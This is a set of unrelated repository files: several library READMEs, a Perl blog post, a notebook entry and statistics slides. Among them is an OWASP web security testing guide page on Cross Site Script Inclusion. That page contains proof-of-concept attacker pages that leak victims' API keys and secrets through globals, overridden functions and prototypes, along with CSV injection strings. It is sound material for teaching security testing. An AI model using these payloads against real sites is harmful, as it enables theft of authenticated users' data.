text:
# vue-virtual-scroller

[![npm](https://img.shields.io/npm/v/vue-virtual-scroller.svg) ![npm](https://img.shields.io/npm/dm/vue-virtual-scroller.svg)](https://www.npmjs.com/package/vue-virtual-scroller)
[![vue2](https://img.shields.io/badge/vue-2.x-brightgreen.svg)](https://vuejs.org/)

Smooth scroll with any amount of data ([demo](https://akryum.github.io/vue-virtual-scroller/)).

## Table of contents

- [Installation](#installation)
- [Usage](#usage)
- [Example](#example)

# Installation

```
npm install --save vue-virtual-scroller
```

**⚠ `vue-virtual-scroller` now uses [vue-observe-visibility](https://github.com/Akryum/vue-observe-visibility#installation) to automatically refresh itself when shown to prevent display glitches. This means you need to include the [Intersection Observer polyfill](https://github.com/w3c/IntersectionObserver/tree/master/polyfill) needed by `vue-observe-visibility` for this to work in old browsers (like Internet Explorer).**

## Default import

Install all the components:

```javascript
import Vue from 'vue'
import VueVirtualScroller from 'vue-virtual-scroller'

Vue.use(VueVirtualScroller)
```

Use specific components:

```javascript
import Vue from 'vue'
import { VirtualScroller } from 'vue-virtual-scroller'

Vue.component('virtual-scroller', VirtualScroller)
```

**⚠ A css file is included when importing the package:**

```js
import 'vue-virtual-scroller/dist/vue-virtual-scroller.css'
```

## Browser

```html
<link rel="stylesheet" href="vue-virtual-scroller/dist/vue-virtual-scroller.css"/>

<script src="vue.js"></script>
<script src="vue-virtual-scroller/dist/vue-virtual-scroller.min.js"></script>
```

If Vue is detected, the plugin will be installed automatically. If not, install the component:

```javascript
Vue.use(VueVirtualScroller)
```

Or register it with a custom name:

```javascript
Vue.component('virtual-scroller', VueVirtualScroller.VirtualScroller)
```

# Usage

The virtual scroller has three main props:

- `items` is the list of items you want to display in the scroller. There can be several types of item.
- `itemHeight` is the display height of the items in pixels used to calculate the scroll height and position. If it set to `null` (default value), it will use [variable height mode](#variable-height-mode).
- `renderers` is a map of component definitions objects or names for each item type ([more details](#renderers)). If you don't define `renderers`, the scroller will use *scoped slots* ([see below](#scoped-slots)).

⚠ You need to set the size of the virtual-scroller element and the items elements (for example, with CSS). Unless you are using [variable height mode](#variable-height-mode), all items should have the same height to prevent display glitches.

**It is strongly recommended to use functional components inside virtual-scroller since those are cheap to create and dispose.**

> The browsers have a height limitation on DOM elements, it means that currently the virtual scroller can't display more than ~500k items depending on the browser.

## Renderers

The optional `renderers` prop is an object containing a component definition for each possible value of the item type. If you don't set this prop, [scoped slots](#scoped-slots) will be used instead. **The component definition must have an `item` prop, that will get the item object to render in the scroller.** It will also receive an `index` prop.

There are additional props you can use:

- `typeField` to customize which field is used on the items to get their type and use the corresponding definition in the `renderers` map. The default is `'type'`.
- `keyField` to customize which field is used on the items to set their `key` special attribute (see [the documentation](https://vuejs.org/v2/api/#key)). The default is `'id'`.

**For better performance, you should use the `keyField` prop that will set the `key` attribute. Warning! You shouldn't expect items to have the key set at all times, since the scroller may disable them depending on the situation.**

## Scoped slots

Alternatively, you can use [scoped slots](https://vuejs.org/v2/guide/components.html#Scoped-Slots) instead of `renderers`. This is active when you don't define the `renderers` prop on the virtual scroller.

The scope will contain the row's item in the `item` attribute, so you can write `scope="props"` and then use `props.item`. It will also have an `index` attribute.

Here is an example:

```html
<virtual-scroller class="scroller" :items="items" item-height="42" content-tag="table">
  <template slot-scope="props">
    <tr v-if="props.item.type === 'letter'" class="letter" :key="props.itemKey">
      <td>
        {{props.item.value}} Scoped
      </td>
    </tr>

    <tr v-if="props.item.type === 'person'" class="person" :key="props.itemKey">
      <td>
        {{props.item.value.name}}
      </td>
    </tr>
  </template>
</virtual-scroller>
```

**For better performance, you should set the `key` attribute on direct children using the `itemKey` field from the scoped slot and set the `keyField` prop on the virtual scroller.**

## Page mode

The page mode expand the virtual-scroller and use the page viewport to compute which items are visible. That way, you can use it in a big page with HTML elements before or after (like a header and a footer). Just set the `page-mode` props to `true`:

```html
<header>
  <menu></menu>
</header>

<virtual-scroller page-mode></virtual-scroller>

<footer>
  Copyright 2017 - Cat
</footer>
```

## Variable height mode

**⚠ This mode can be performance heavy with a lot of items. Use with caution.**

If the `itemHeight` prop is not set or set to `null`, the virtual scroller will switch to Variable height mode. You then need to expose a number field on the item objects with the height of the item element.

**⚠ You still need to set the height of the items with CSS correctly (with classes for example).**

Use the `heightField` prop (default is `'height'`) to set the field used by the scroller to get the height for each item.

Example:

```javascript
const items = [
  {
    id: 1,
    label: 'Title',
    height: 64,
  },
  {
    id: 2,
    label: 'Foo',
    height: 32,
  },
  {
    id: 3,
    label: 'Bar',
    height: 32,
  },
]
```

## Buffer

You can set the `buffer` prop (in pixels) on the virtual-scroller to extend the viewport considered when determining the visible items. For example, if you set a buffer of 1000 pixels, the virtual-scroller will start rendering items that are 1000 pixels below the bottom of the scroller visible area, and will keep the items that are 1000 pixels above the top of the visible area.

The default value is `200`.

```html
<virtual-scroller buffer="200" />
```

## Pool Size

The `poolSize` prop (in pixels) is the size in pixels of the viewport pool. The computed 'visible' area can be computed step by step using this pool. This allows creating multiple row at once each in a while. For example, if you set a pool size of 2000 pixels, the rows will be grouped in pools of 2000 pixels height. When the user scrolls too far, the new batch of 2000px height is created, and so on. That way, the DOM isn't updated for each row, but in batches instead.

The default value is `2000`.

```html
<virtual-scroller pool-size="2000" />
```

## Update event

Set the `emitUpdate` boolean prop to `true` so that the virtual-scroller will emit an `update` event when the rendered items list is updated. The arguments are `startIndex` and `endIndex`.

The default value is `false`.

```html
<virtual-scroller emit-update @update="(startIndex, endIndex) => ..." />
```

## Customizing the tags

These are optional props you can use to change the DOM tags used in the virtual scroller:

- `mainTag` to change the DOM tag of the component root element. The default is `'div'`.
- `containerTag` to change the DOM tag of the element simulating the height. The default is `'div'`.
- `contentTag` to change the DOM tag of the element containing the items. The default is `'div'`. For example, you can change this to `'table'`.

The component template is structured like this:

```html
<main>
  <container>
    <content>
      <!-- Your items here -->
    </content>
  </container>
</main>
```

If you set `contentTag` to `'table'`, the actual result in the DOM will look like the following:

```html
<div>
  <div>
    <table>
      <!-- Your items here -->
    </table>
  </div>
</div>
```

## Customizing the classes

You can use the following props to customize the container and content elements CSS classes:

- `containerClass`
- `contentClass`

## Slots

There are 4 slots you can use to inject things inside the scroller (it may be usefull to add a `thead` or `tbody`):

```html
<main>
  <slot name="before-container"></slot>
  <container>
    <slot name="before-content"></slot>
    <content>
      <!-- Your items here -->
    </content>
    <slot name="after-content"></slot>
  </container>
  <slot name="after-container"></slot>
</main>
```

## Server-Side Rendering

The `prerender` props can be set as the number of items to render on the server inside the virtual scroller:

```html
<virtual-scroller :items="items" item-height="42" page-mode prerender="10">
```

# Example

```html
<template>
  <div class="demo">
    <virtual-scroller
      class="scroller"
      :items="items"
      :renderers="renderers"
      item-height="22"
      type-field="type">
    </virtual-scroller>
  </div>
</template>

<script>
// Data with a type field
const items = [
  { type: 'letter', value: 'A' },
  { type: 'person', value: { name: 'Alan' } },
  { type: 'person', value: { name: 'Alice' } },
]

import Letter from './Letter.vue'
import Item from './Item.vue'

// Bind the components to the item type
const renderers = Object.freeze({
  letter: Letter,
  person: Item,
})

export default {
  data: () => ({
    items,
    renderers,
  }),
}
</script>

<style>
.scroller {
  height: 100%;
}

.scroller .item {
  height: 22px;
}
</style>
```

`Letter.vue` source:

```html
<template>
  <div class="letter">({{item.index}}) {{item.value}}</div>
</template>

<script>
export default {
  props: ['item'],
}
</script>
```

`Item.vue` source:

```html
<template>
  <div class="person" @click="edit">({{item.index}}) {{item.value.name}}</div>
</template>

<script>
export default {
  props: ['item'],
  methods: {
    edit () {
      this.item.value.name += '*'
    },
  },
}
</script>
```

# Experimental component: RecycleList

It's very similar to virtual-scroller, but:

- Faster and less CPU intensive
- Different HTML structure (don't try doing a `<table>` with it, use divs!)
- No tag customization
- No renderers features (use scoped slots!)
- Recycles scoped slot content (including components) in the list (no destroyed components), depending on item types (customize with `typeField` prop)
- The components used in the list should expect `item` prop change without being re-created (use computed props or watchers to properly react to props changes!)
- You don't need to set `key` on list content (but you should on `<img>` elements)
- You get a `active` prop in the scoped slot, that is `false` when the view isn't currently rendered (but could be reused later).
- To emulate conditions that would otherwise be available in a `v-for` loop, the scoped slot exposes an `index` prop that reflects each item's position in the `items` array

Both fixed and dynamic height modes are supported (set `itemHeight` prop for fixed height mode).

```html
<recycle-list
  class="scroller"
  :items="items"
>
  <!-- For each item -->
  <template slot-scope="{ item, index, active }">
    <!-- Reactive dynamic height -->
    <div
      v-if="item.type === 'letter'"
      class="letter big"
      @click="item.height = (item.height === 200 ? 300 : 200)"
    >
      {{ item.value }}
    </div>

    <!-- Component -->
    <MyPersonComponent
      v-else-if="item.type === 'person'"
      :data="item.value"
      :index="index"
      :active="active"
    />
  </template>
</recycle-list>
```

Please share feeback on the new RecycleList component in the issues!

---

## License

[MIT](http://opensource.org/licenses/MIT)

repository: clarityai-eng/vue-virtual-scroller

repo_name: clarityai-eng/vue-virtual-scroller


text:
# Testing for Cross Site Script Inclusion

|ID          |
|------------|
|WSTG-CLNT-13|

## Summary

Cross Site Script Inclusion (XSSI) vulnerability allows sensitive data leakage across-origin or cross-domain boundaries. Sensitive data could include authentication-related data (login states, cookies, auth tokens, session IDs, etc.) or user's personal or sensitive personal data (email addresses, phone numbers, credit card details, social security numbers, etc.). XSSI is a client-side attack similar to Cross Site Request Forgery (CSRF) but has a different purpose. Where CSRF uses the authenticated user context to execute certain state-changing actions inside a victim’s page (e.g. transfer money to the attacker's account, modify privileges, reset password, etc.), XSSI instead uses JavaScript on the client-side to leak sensitive data from authenticated sessions.

By default, websites are only allowed to access data if they are from the same origin. This is a key application security principle and governed by the same-origin policy (defined by [RFC 6454](https://tools.ietf.org/html/rfc6454)). An origin is defined as the combination of URI scheme (HTTP or HTTPS), host name, and port number. However, this policy is not applicable for HTML `<script>` tag inclusions. This exception is necessary, as without it websites would not be able to consume third party services, perform traffic analysis, or use advertisement platforms, etc.

When the browser opens a website with `<script>` tags, the resources are fetched from the cross-origin domain. The resources then run in the same context as the including site or browser, which presents the opportunity to leak sensitive data. In most cases, this is achieved using JavaScript, however, the script source doesn't have to be a JavaScript file with type `text/javascript` or `.js` extension.

Older browser's vulnerabilities (IE9/10) allowed data leakage via JavaScript error messages at runtime, but those vulnerabilities have now been patched by vendors and are considered less relevant. By setting the charset attribute of the `<script>` tag, an attacker or tester can enforce UTF-16 encoding, allowing data leakage for other data formats (e.g. JSON) in some cases. For more on these attacks, see [Identifier based XSSI attacks](https://www.mbsd.jp/Whitepaper/xssi.pdf).

## Test Objectives

- Locate sensitive data across the system.
- Assess the leakage of sensitive data through various techniques.

## How to Test

### Collect Data Using Authenticated and Unauthenticated User Sessions

Identify which endpoints are responsible for sending sensitive data, what parameters are required, and identify all relevant dynamically and statically generated JavaScript responses using authenticated user sessions. Pay special attention to sensitive data sent using [JSONP](https://en.wikipedia.org/wiki/JSONP). To find dynamically generated JavaScript responses, generate authenticated and unauthenticated requests, then compare them. If they're different, it means the response is dynamic; otherwise it's static. To simplify this task, a tool such as [Veit Hailperin's Burp proxy plugin](https://github.com/luh2/DetectDynamicJS) can be used. Make sure to check other file types in addition to JavaScript; XSSI is not limited to JavaScript files alone.

### Determine Whether the Sensitive Data Can Be Leaked Using JavaScript

Testers should analyze code for the following vehicles for data leakage via XSSI vulnerabilities:

1. Global variables
2. Global function parameters
3. CSV (Comma Separated Values) with quotations theft
4. JavaScript runtime errors
5. Prototype chaining using `this`

### 1. Sensitive Data Leakage via Global Variables

An API key is stored in a JavaScript file with the URI `https://victim.com/internal/api.js` on the victim's website, `victim.com`, which is only accessible to authenticated users. An attacker configures a website, `attackingwebsite.com`, and uses the `<script>` tag to refer to the JavaScript file.

Here are the contents of `https://victim.com/internal/api.js`:

```javascript
(function() {
  window.secret = "supersecretUserAPIkey";
})();
```

The attack site, `attackingwebsite.com`, has an `index.html` with the following code:

```html
<!DOCTYPE html>
<html>
  <head>
    <title>Leaking data via global variables</title>
  </head>
  <body>
    <h1>Leaking data via global variables</h1>
    <script src="https://victim.com/internal/api.js"></script>
    <div id="result">
    </div>
    <script>
      var div = document.getElementById("result");
      div.innerHTML = "Your secret data <b>" + window.secret + "</b>";
    </script>
  </body>
</html>
```

In this example, a victim is authenticated with `victim.com`. An attacker lures the victim to `attackingwebsite.com` via social engineering, phishing emails, etc. The victim's browser then fetches `api.js`, resulting in the sensitive data being leaked via the global JavaScript variable and displayed using `innerHTML`.

### 2. Sensitive Data Leakage via Global Function Parameters

This example is similar to the previous one, except in this case `attackingwebsite.com` uses a global JavaScript function to extract the sensitive data by overwriting the victim's global JavaScript function.

Here are the contents of `https://victim.com/internal/api.js`:

```javascript
(function() {
  var secret = "supersecretAPIkey";
  window.globalFunction(secret);
})();
```

The attack site, `attackingwebsite.com`, has an `index.html` with the following code:

```html
<!DOCTYPE html>
<html>
  <head>
    <title>Leaking data via global function parameters</title>
  </head>
  <body>
    <div id="result">
    </div>
    <script>
      function globalFunction(param) {
        var div = document.getElementById("result");
        div.innerHTML = "Your secret data: <b>" + param + "</b>";
      }
    </script>
    <script src="https://victim.com/internal/api.js"></script>
  </body>
</html>
```

There are other XSSI vulnerabilities that can result in sensitive data leakage either via JavaScript prototype chains or global function calls. For more on these attacks, see [The Unexpected Dangers of Dynamic JavaScript](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf).

### 3. Sensitive Data Leakage via CSV with Quotations Theft

To leak data the attacker/tester has to be able to inject JavaScript code into the CSV data. The following example code is an excerpt from Takeshi Terada's [Identifier based XSSI attacks](https://www.mbsd.jp/Whitepaper/xssi.pdf) whitepaper.

```text
HTTP/1.1 200 OK
Content-Type: text/csv
Content-Disposition: attachment; filename="a.csv"
Content-Length: xxxx

1,"___","aaa@a.example","03-0000-0001"
2,"foo","bbb@b.example","03-0000-0002"
...
98,"bar","yyy@example.net","03-0000-0088"
99,"___","zzz@example.com","03-0000-0099"
```

In this example, using the `___` columns as injection points and inserting JavaScript strings in their place has the following result.

```text
1,"\"",$$$=function(){/*","aaa@a.example","03-0000-0001"
2,"foo","bbb@b.example","03-0000-0002"
...
98,"bar","yyy@example.net","03-0000-0088"
99,"*/}//","zzz@example.com","03-0000-0099"
```

[Jeremiah Grossman wrote about a similar vulnerability in Gmail](https://blog.jeremiahgrossman.com/2006/01/advanced-web-attack-techniques-using.html) in 2006 that allowed the extraction of user contacts in JSON. In this case, the data was received from Gmail and parsed by the browser JavaScript engine using an unreferenced Array constructor to leak the data. An attacker could access this Array with the sensitive data by defining and overwriting the internal Array constructor like this:

```html
<!DOCTYPE html>
<html>
  <head>
    <title>Leaking gmail contacts via JSON </title>
  </head>
  <body>
    <script>
      function Array() {
        // steal data
      }
    </script>
    <script src="http://mail.google.com/mail/?_url_scrubbed_"></script>
  </body>
</html>
```

### 4. Sensitive Data Leakage via JavaScript Runtime Errors

Browsers normally present standardized [JavaScript error messages](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors). However, in the case of IE9/10, runtime error messages provided additional details that could be used to leak data. For example, a website `victim.com` serves the following content at the URI `http://victim.com/service/csvendpoint` for authenticated users:

```text
HTTP/1.1 200 OK
Content-Type: text/csv
Content-Disposition: attachment; filename="a.csv"
Content-Length: 13

1,abc,def,ghi
```

This vulnerability could be exploited with the following:

```html
<!--error handler -->
<script>window.onerror = function(err) {alert(err)}</script>
<!--load target CSV -->
<script src="http://victim.com/service/csvendpoint"></script>
```

When the browser tries to render the CSV content as JavaScript, it fails and leaks the sensitive data:

![JavaScript runtime error message ](images/XSSI1.jpeg)\
*Figure 4.11.13-1: JavaScript runtime error message*

### 5. Sensitive Data Leakage via Prototype Chaining Using `this`

In JavaScript, the `this` keyword is dynamically scoped. This means if a function is called upon an object, `this` will point to this object even though the called function might not belong to the object itself. This behavior can be used to leak data. In the following example from [Sebastian Leike's demonstration page](http://sebastian-lekies.de/leak/), the sensitive data is stored in an Array. An attacker can override `Array.prototype.forEach` with an attacker-controlled function. If some code calls the `forEach` function on an array instance that contains sensitive values, the attacker-controlled function will be invoked with `this` pointing to the object that contains the sensitive data.

Here is an excerpt of a JavaScript file containing sensitive data, `javascript.js`:

```javascript
...
(function() {
  var secret = ["578a8c7c0d8f34f5", "345a8b7c9d8e34f5"];

  secret.forEach(function(element) {
    // do something here
  });
})();
...
```

The sensitive data can be leaked with the following JavaScript code:

```html
...
 <div id="result">

    </div>
    <script>
      Array.prototype.forEach = function(callback) {
        var resultString = "Your secret values are: <b>";
        for (var i = 0, length = this.length; i < length; i++) {
          if (i > 0) {
            resultString += ", ";
          }
          resultString += this[i];
        }
        resultString += "</b>";
        var div = document.getElementById("result");
        div.innerHTML = resultString;
      };
    </script>
    <script src="http://victim.com/..../javascript.js"></script>
...
```

repository: doverh/wstg-translations-pt

branch_name: refs/heads/main

extension: md

license_type: permissive

repo_name: doverh/wstg-translations-pt


text:
FallDetection
===================

Fall detection system for elderly people, with smartphone.

This system calculates in real time the position of a smartphone and triggers an alarm in case of fall or tilting.
The system is based on an accelerometer.

--------

repository: frameproject/fallDetection

branch_name: refs/heads/master

repo_name: frameproject/fallDetection


text:
---
author: kubu4
comments: true
date: 2017-07-06 13:37:45+00:00
layout: post
slug: data-management-tarball-of-olympia-oyster-uw-pacbio-data-from-20170323
title: Data Management – Tarball of Olympia oyster UW PacBio Data from 20170323
wordpress_id: 2630
author:
  - kubu4
categories:
  - Olympia Oyster Genome Sequencing
tags:
  - olympia oyster
  - Ostrea lurida
  - PacBio
---

[I'd previously attempted to archive this data set](https://robertslab.github.io/sams-notebook/2017/07/03/data-management-olympia-oyster-uw-pacbio-data-from-20170323.html) on multiple occasions, across multiple days, but network dropouts kept killing my connection to the server (Owl) and, in turn, interrupting the tarball operation.

Today, I came in to a successful creation of the tarball of this PacBio data set (it only took 10hrs)! And, it's a big file: 162GB!! Remember, that's the compressed size!

Now, we'll have to decide where we want to keep the tarball. I guess this'll be part of our next data management plan discussions.

![](https://eagle.fish.washington.edu/Arabidopsis/20170706_uw_pacbio_tarball.png)(http://eagle.fish.washington.edu/Arabidopsis/20170706_uw_pacbio_tarball.png)

license: MIT

repository: RobertsLab/sams-notebook

extension: markdown

gha_language: Shell

gha_license_id: MIT

repo_name: RobertsLab/sams-notebook


text:
---
layout: post
title:  "Sunrise and Sunset in Perl"
author: "Dave Jacoby"
date:   "2019-12-02 18:03:39 -0500"
categories: ""
---

The first task, `count the number of weekdays in each month of 2019`, is an easy task for a developer familiar with [DateTime](https://metacpan.org/pod/DateTime). The second task is harder.

> Write a script to find out the **DayLight** gain/loss in the month of **December 2019** as compared to **November 2019** in the city of **London**.

We are provided links to [timeanddate.com](https://www.timeanddate.com/) to give us daily sunrise and sunset values, but there's no need, because CPAN contains [DateTime::Event::Sunrise](https://metacpan.org/pod/DateTime::Event::Sunrise).

I ran into this when trying to find [Solar Noon](https://jacoby.github.io/2018/07/30/about-time-finding-solar-noon.html), the point in time halfway between sunrise and sunset. Where I live, geography and DST puts solar noon at right before 2pm.

Here, instead of my current location, I use the Google-provided latitude and longitude for London.

```perl
#!/usr/bin/env perl

use strict;
use warnings;
use utf8;
use feature qw{ postderef say signatures state switch };
no warnings
  qw{ experimental::postderef experimental::smartmatch experimental::signatures };

use DateTime;
use DateTime::Duration;
use DateTime::Event::Sunrise;
use List::Util qw{sum};

# The problem for this week is determing the gain/loss of sunlight between
# November 2019 and December 2019. Links were given to provide sunrise
# and sunset, but Perl already gives us that info, with DateTime::Event::Sunrise,
# with Google giving us the location of London.

my $london_lat = 51.509865;
my $london_lon = -0.118092;
my $dtes       = DateTime::Event::Sunrise->new(
    latitude  => $london_lat,
    longitude => $london_lon,
);

# here we create a day duration so we can leap forward
# and a starting day of Nov 1
my $day   = DateTime::Duration->new( days => 1 );
my $start = DateTime->new(
    year      => 2019,
    month     => 11,
    day       => 1,
    hour      => 12,
    minute    => 0,
    second    => 0,
    time_zone => 'Europe/London',
);

# This while loop gives us every day between Nov 1 and Dec 31,
# which we handle with a while loop, collecting a list of
# day lengths per month.
my $months = {};
while ( $start->year == 2019 ) {
    my $day_length = day_length( $start, $dtes );
    push $months->{ $start->month_name }->@*, $day_length;
    $start->add($day);
}

# The question is to determine the daylight gain/loss
# between these months, but the problem is that November
# has 30 days and December has 31, so the shorter days
# would be offset by the extra days.
#
# I chose to show the difference in average day length,
# but moving to the difference in total sunlight time
# would simply require removing the averaging and
# using the sum of seconds of daytime
for my $m ( 'November', 'December' ) {
    my $sum     = sum $months->{$m}->@*;
    my $days    = scalar $months->{$m}->@*;
    my $average = int $sum / $days;
    my ( $hours, $minutes ) = seconds_to_hours($average);
    say qq{$m: $hours hours, $minutes minutes};
}

exit;

# Here we return the number of hours and minutes
# that a certain number of seconds contains. Could
# possibly be done better with DateTime::Duration
sub seconds_to_hours ( $seconds ) {
    my $hours   = int $seconds / 3600;
    my $rem     = $seconds % 3600;
    my $minutes = int $rem / 60;
    return $hours, $minutes;
}

# $dtes is a location to work with, and $day is a DateTime object
# which uses the date but not the time parts to determine sunrise
# and sunset as DateTime objects, which we can export in epoch
# format to get the number of seconds since the Unix epoch.
# Sunset - Sunrise gives us the number of second in a day.
sub day_length ( $day, $dtes ) {
    my $sunrise = $dtes->sunrise_datetime($day);
    my $sunset  = $dtes->sunset_datetime($day);
    return $sunset->epoch - $sunrise->epoch;
}

___DATA___

November: 8 hours, 53 minutes
December: 7 hours, 55 minutes
```

November gets about an hour more sun a day in London than December, on average. As I mention in the code comments, I'm taking an average of the days, not the total time with sunlight for each month, but modifying the code to work on the sum of time in sunlight would be an easy change.

#### If you have any questions or comments, I would be glad to hear it. Ask me on [Twitter](https://twitter.com/jacobydave) or [make an issue on my blog repo](https://github.com/jacoby/jacoby.github.io).


text:
# Build Notifier
[![Build Status](https://travis-ci.org/jcmuller/build_status_server.svg?branch=master)](https://travis-ci.org/jcmuller/build_status_server)
[![Dependency Status](https://gemnasium.com/jcmuller/build_status_server.png "Dependency Status")](https://gemnasium.com/jcmuller/build_status_server)
[![Code Climate](https://codeclimate.com/github/jcmuller/build_status_server/badges/gpa.svg)](https://codeclimate.com/github/jcmuller/build_status_server)
[![Coverage Status](https://img.shields.io/coveralls/jcmuller/build_status_server.svg)](https://coveralls.io/r/jcmuller/build_status_server?branch=master)

This utility is part of an XFD (eXtreme Feedback Device) solution designed and
built for my employer [ChallengePost](http://challengepost.com). It works in
conjunction with our [Jenkins](http://jenkins-ci.org) Continuous Integration
server (and its
[Notification Plugin](https://wiki.jenkins-ci.org/display/JENKINS/Notification+Plugin))
and an [Arduino](http://arduino.cc) powered
[Traffic Light controller](https://github.com/jcmuller/TrafficLightController)
with a
pseudo-[REST](http://en.wikipedia.org/wiki/Representational_state_transfer)ful
API.

To run, you need to create a `config.yml` file. The first time you run the
application without any arguments, you will get a sample.

# Installation

    $ gem install build_status_server

# Execution

See the options you can pass in by:

    $ build_status_server -h

# Configuration file
## UDP Server
This section defines what interface and port should the UDP server listen at.
The Jenkins' Notification Plugin should be set to this parameters as well.

## TCP Client
This section is where we tell the server how to communicate with the web
enabled XFD. In the example case, there is a web server running somewhere
listening on port 4567 that responds to `/green` and `/red`.

On our installation, this represents the Traffic Light's Arduino web server.

## Store
Where the persistent state will be stored.

## Mask (optional)
You can decide to either include or ignore certain builds whose names match a
given [Regular Expression](http://en.wikipedia.org/wiki/Regular_expression).

## Verbose
Whether to display informative output messages.

# Development

`bin/test_tcp_server` is provided for development purposes only. It behaves
like the server on the
[Traffic Light controller](https://github.com/jcmuller/TrafficLightController)
project.

# Finished product
![my image](http://i.imgur.com/aK5rs.jpg)

# Wiring the traffic light
![my image](http://i.imgur.com/gUpWe.jpg)

gha_language: Ruby


text:
# error-notifier
Component writes message into log-file, notifies via telegram and optionally set flash message.
Yii2 framework friendly.

[![Latest Stable Version](https://poser.pugx.org/artyomnar/error-notifier/v/stable.png)](https://packagist.org/packages/artyomnar/error-notifier)
[![Total Downloads](https://poser.pugx.org/artyomnar/error-notifier/downloads.png)](https://packagist.org/packages/artyomnar/error-notifier)

Installation
------------

The preferred way to install this extension is through [composer](http://getcomposer.org/download/).

Either run

```
composer require artyomnar/error-notifier
```

or add

```
"artyomnar/error-notifier": "1.1"
```

to the require section of your composer.json.

Settings
------------

 - Set in params-local.php file elements:
   - *'telegram_bot_token'* => *'your_bot_token'*
   - *'telegram_chat_id'* => *'your_chat'* Unique identifier for the target chat or username of the target channel (in the format @channelusername)

Usage
------------

```
try {
    //your code which can throw an exception
} catch (Throwable $exception) {
    ErrorNotifier\ErrorHandler::notify($exception);
}
```
```
try {
    //your code which can throw an exception
} catch (Throwable $exception) {
    ErrorNotifier\ErrorHandler::notify(
        $exception,
        new FlashConfigurator(
            $exception->getMessage(),
            'Service unavailable, try later!'
        )
    );
}
```


text:
#
Data Specification

The general format
for data that should be returned by the server
is as follows:

    {
        users: [{
            name: 'User 1',
            groups: [{
                name: 'Group 1'
            }, {
                name: 'Group 2'
            }],
            events: [{
                name: 'Event 1'
            }, {
                name: 'Event 2'
            }]
        }, {
            name: 'User 2',
            // ...
        }, ]
    }

// For Single User

{
    user: {
        name: 'User',
        groups: [{
            name: 'Group 1'
        }, ],
        events: [{
            name: 'Event 1'
        }, ]
    }
}

// For compound request, eg: /users/1/groups

{
    groups: [{
            name: 'Group 1'
        },
        // ...
    ]
}

// For requests of the form: /users/1/groups/1

{
    group: {
        name: 'Group 1',
        // ...
    }
}

repository: nsyncCSUS/seniorproject

gha_language: CSS

repo_name: nsyncCSUS/seniorproject


text:
# Action Cable Client
[![Gem Version](https://badge.fury.io/rb/action_cable_client.svg)](https://badge.fury.io/rb/action_cable_client)
[![Build Status](https://travis-ci.org/NullVoxPopuli/action_cable_client.svg?branch=master)](https://travis-ci.org/NullVoxPopuli/action_cable_client)
[![Code Climate](https://codeclimate.com/github/NullVoxPopuli/action_cable_client/badges/gpa.svg)](https://codeclimate.com/github/NullVoxPopuli/action_cable_client)
[![Test Coverage](https://codeclimate.com/github/NullVoxPopuli/action_cable_client/badges/coverage.svg)](https://codeclimate.com/github/NullVoxPopuli/action_cable_client/coverage)
[![Dependency Status](https://gemnasium.com/badges/github.com/NullVoxPopuli/action_cable_client.svg)](https://gemnasium.com/github.com/NullVoxPopuli/action_cable_client)

There are quite a few WebSocket Servers out there. The popular ones seem to be: [faye-websocket-ruby](https://github.com/faye/faye-websocket-ruby), [em-websockets](https://github.com/igrigorik/em-websocket). The client-only websocket gems are kinda hard to find, and are only raw websocket support. Rails has a thin layer on top of web sockets to help manage subscribing to channels and send/receive on channels.

This gem is a wrapper around [em-websocket-client](https://github.com/mwylde/em-websocket-client/), and supports the Rails Action Cable protocol.

## Usage

```ruby
require 'action_cable_client'

EventMachine.run do

  uri = "ws://localhost:3000/cable/"
  client = ActionCableClient.new(uri, 'RoomChannel')
  # the connected callback is required, as it triggers
  # the actual subscribing to the channel but it can just be
  # client.connected {}
  client.connected { puts 'successfully connected.' }

  # called whenever a message is received from the server
  client.received do | message |
    puts message
  end

  # adds to a queue that is purged upon receiving of
  # a ping from the server
  client.perform('speak', { message: 'hello from amc' })
end
```

This example is compatible with [this version of a small Rails app with Action Cable](https://github.com/NullVoxPopuli/mesh-relay/tree/2ed88928d91d82b88b7878fcb97e3bd81977cfe8)

The available hooks to tie in to are:
 - `disconnected {}`
 - `connected {}`
 - `errored { |msg| }`
 - `received { |msg }`


text:
---

[paper](http://citeseerx.ist.psu.edu/viewdoc/download?doi=<IP_ADDRESS>7.5431&rep=rep1&type=pdf)

---

![](img/bletchley.jpg)

"In so far as a scientific statement speaks about reality, it must be falsifiable; and in so far as it is not falsifiable, it does not speak about reality."

* [Karl Popper](https://en.wikipedia.org/wiki/Karl_Popper)

---

#Frequentist vs Bayesian Probability

In the frequentist view, probabilities represent long run frequencies of events.
$$
$$
In the Bayesian view, probability is used to quantify our uncertainty about something; hence it is fundamentally related to information theory.
$$
$$
One big advantage of the Bayesian interpretation is that it can be used to model our uncertainty about events that do not have long term frequencies or otherwise fit into a frequentist paradigm

---

Leicester City FC won the Premiere League Championship in 2015-16. It was quite an [amazing story](https://www.reddit.com/r/sports/comments/44w18p/if_you_are_not_watching_the_premier_league_here/).

[William Hill](http://sports.williamhill.com/bet/en-gb), an England-based sportsbook, had the Foxes as 5,000:1 long shots to win the Premier League before the 2015-16 season

---

#How Crazy is 5,000:1?

Here are some other bets (legal in England, not the U.S.) that were offered at those same odds by William Hill in August of 2015:

* Elvis is found alive.
* Christmas 2015 is the warmest day of the year in England.
* Kim Kardashian becomes the U.S. president in 2020.
* Barack Obama plays cricket for England after he leaves Oval Office.

---

![](img/lc-odds.png)
 [source](https://www.reddit.com/r/dataisbeautiful/comments/4dm169/odds_on_leicester_to_win_the_premier_league_after/)

---

#Bayes' Theorem V1

$$
p(H | E) = \frac{p(E | H) p(H)}{p(E | H) p(H) + p(E | H^c) p(H^c)}
$$

---

#Challenge Question

Suppose that there are two duffel bags, each containing a number of \$1,000 casino chips.  In both bags, 40% of the chips are valuable and the rest are counterfeit.  Futhermore, in both bags, some chips are from Ceasar's Palace and the rest are from Harrah's.

In the first bag, 30% of the real chips are Ceasar's, and 10% of the counterfeit chips are Ceasar's. In the second bag,  90% of the real chips are Ceasar's, and 30% of the counterfeit chips are Ceasar's.
$$
$$
Would you rather have a Ceasar's chip from the first or second bag?  Would you rather have a Harrah's chip from the first or second bag?

---

---

$p(real|Ceasar's)$ and $p(real|Harrah's)$ have two degrees of freedom among them even when $p(real)$ is fixed - so there's no reason why one quantity shouldn't change while the other remains constant.
$$
$$
In the second bag, the proportion of Ceasar's chips that are real is the same as in the first bag, but a much larger fraction of the chips are from Ceasar's.  This alters the set of Harrah's chips in such a way that the proportions do in fact change.

---

#Liklihood Ratios

